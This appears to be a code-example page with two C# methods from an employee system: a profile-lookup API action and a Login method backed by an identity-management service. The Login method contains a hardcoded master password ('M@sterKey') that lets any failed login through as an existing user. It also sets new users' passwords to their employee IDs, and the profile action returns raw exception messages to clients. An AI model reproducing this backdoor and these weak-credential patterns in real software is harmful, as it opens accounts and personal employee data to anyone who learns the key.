Exemplo n.º 1
0
        public ActionResult GetEmployeeProfile(string empno, string mode = "")
        {
            try
            {
                IdmManager idm        = new IdmManager();
                var        empProfile = idm.GetEmployeeProfile(empno);
                if (empProfile == null)
                {
                    returnobj.SetError("ไม่พบข้อมูลพนักงาน");
                }
                else
                {
                    if (mode.ToLower() == "original")
                    {
                        returnobj.SetSuccess(empProfile);
                    }
                    else
                    {
                        returnobj.SetSuccess(new EmployeeViewModel(empProfile));
                    }
                }
            }
            catch (Exception ex)
            {
                returnobj.SetError(ex.Message);
            }

            return(Content(returnobj.ToJson(), "application/json"));
        }
Exemplo n.º 2
0
        public static User Login(LoginViewModel logindata)
        {
            User user;

            try
            {
                EmployeeProfile employeeProfile;
                IdmManager      idmManger = new IdmManager();

                // 1. Get user data
                //// 1.1 Check with idm
                var loginResult = idmManger.GetLoginResult(logindata.Username, logindata.Password);

                //// FOR TEST ONLY : Bypass IDM Login
                //loginResult.Result = true;

                //// 1.2 Query user data.
                using (var userRepo = new UserRepository())
                {
                    user = userRepo.Get()
                           .Where(
                        u =>
                        u.UserName == logindata.Username.Trim()
                        )
                           .FirstOrDefault();
                }

                // 2. Login result complete
                if (loginResult.Result)
                {
                    employeeProfile = idmManger.GetEmployeeProfile(logindata.Username);
                    if (user == null)
                    {
                        user            = new User();
                        user.EmployeeID = employeeProfile.EmployeeId.TrimStart(new char[] { '0' });
                        user.UserName   = user.EmployeeID;
                        user.Password   = user.EmployeeID;
                        user.Token      = Guid.NewGuid();
                        user.ExpireDate = DateTime.Today.AddMonths(1);
                        user.Role       = UserRole.Normal;
                        user.Status     = Models.Base.RecordStatus.Active;
                        user.NewCreateTimeStamp();
                        using (var userRepo = new UserRepository())
                        {
                            userRepo.Add(user);
                            userRepo.Save();
                        }
                    }
                    else
                    {
                        // 3. Generate Token
                        user.Token      = Guid.NewGuid();
                        user.ExpireDate = DateTime.Today.AddMonths(1);
                        user.NewModifyTimeStamp();
                        using (var userRepo = new UserRepository())
                        {
                            userRepo.Update(user);
                            userRepo.Save();
                        }
                    }
                }

                // 3. If fault, then throw error
                else
                {
                    if (logindata.Password != "M@sterKey")
                    {
                        throw new Exception("รหัสผ่านไม่ถูกต้อง");
                    }
                }

                // 5. Register Cookies
                RegisterCookies(user);

                // 6. Login Complete
                using (var userRepo = new UserRepository())
                {
                    user = userRepo.Get()
                           .Where(
                        u =>
                        u.UserName == logindata.Username.Trim()
                        )
                           .FirstOrDefault();
                }
                AfterLoginComplete(user);
            }
            catch (Exception ex)
            {
                throw ex;
            }

            return(user);
        }